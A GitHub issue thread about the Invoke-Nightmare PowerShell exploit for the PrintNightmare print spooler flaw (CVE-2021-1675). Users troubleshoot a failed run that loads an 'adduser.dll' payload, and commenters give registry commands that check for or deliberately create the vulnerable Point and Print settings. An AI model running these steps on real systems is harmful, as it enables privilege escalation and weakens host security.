Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Invoke-Nightmare : [!] AddPrinterDriverEx failed #9

Open
sssseossss opened this issue Aug 11, 2021 · 3 comments
Open

Invoke-Nightmare : [!] AddPrinterDriverEx failed #9

sssseossss opened this issue Aug 11, 2021 · 3 comments

Comments

@sssseossss
Copy link

Hi!
thanks for the poweshell implementation!
I have a problem with exploit which outputs the following:
Invoke-Nightmare : [!] AddPrinterDriverEx failed At line:1 char:1

  • Invoke-Nightmare -DLL "C:\CVE-2021-1675\adduser.dll" + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : NotSpecified: (:) [Write-Error], WriteErrorException + FullyQualifiedErrorId : Microsoft.PowerShell.Commands.WriteErrorException,Invoke-Nightmare

trying on windows server 2016 with print spooler enabled.

Would you recommend anything I could do to resolve this? Thanks!

@mumu0215
Copy link

same problem come to me

@Ach13v3-M0n7
Copy link

Ensure you are throwing it against a vulnerable host:

Running:
REG QUERY "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint"

Should Yield:

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint
    RestrictDriverInstallationToAdministrators    REG_DWORD    0x0
    NoWarningNoElevationOnInstall    REG_DWORD    0x1

@z4c777
Copy link

z4c777 commented May 22, 2023

Tool should output "Not vulnerable" if the keys don't exist in registry. Also you can add the vulnerable registry if you have the correct privileges.

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PointAndPrint" /v NoWarningNoElevationOnInstall /d 1 /t reg_dword
net stop spooler
net start spooler

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

4 participants